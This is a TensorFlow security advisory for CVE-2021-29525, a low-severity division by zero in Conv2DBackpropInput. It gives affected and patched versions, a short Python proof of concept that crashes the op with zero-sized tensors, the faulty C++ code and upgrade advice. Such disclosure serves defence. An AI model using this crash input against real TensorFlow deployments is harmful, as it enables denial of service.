---
id: CVE-2021-29525
aliases:
  - GHSA-xm2v-8rrw-w9pm
  - BIT-tensorflow-2021-29525
  - PYSEC-2021-162
  - PYSEC-2021-453
  - PYSEC-2021-651
title: Division by 0 in `Conv2DBackpropInput`
summary: Division by 0 in `Conv2DBackpropInput`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:49:15.207713645Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-xm2v-8rrw-w9pm'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xm2v-8rrw-w9pm
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29525'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-453.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-651.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-162.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00201
epssPercentile: 0.08865
ingestedAt: '2026-09-12T03:13:01.740Z'
---

## Overview

### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`:

```python
import tensorflow as tf

input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,
                               out_backprop=out_backprop, strides=[1, 1, 1, 1],
                               use_cudnn_on_gpu=True, padding='SAME',
                               explicit_paddings=[], data_format='NHWC',
                               dilations=[1, 1, 1, 1])
```                 
                    
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller:

```cc 
  const size_t size_A = output_image_size * dims.out_depth; 
  const size_t size_B = filter_total_size * dims.out_depth;
  const size_t size_C = output_image_size * filter_total_size;
  const size_t work_unit_size = size_A + size_B + size_C;
  ...
  const size_t shard_size =
      use_parallel_contraction ? 1 :
      (target_working_set_size + work_unit_size - 1) / work_unit_size;
```

### Patches
We have patched the issue in GitHub commit [2be2cdf3a123e231b16f766aa0e27d56b4606535](https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`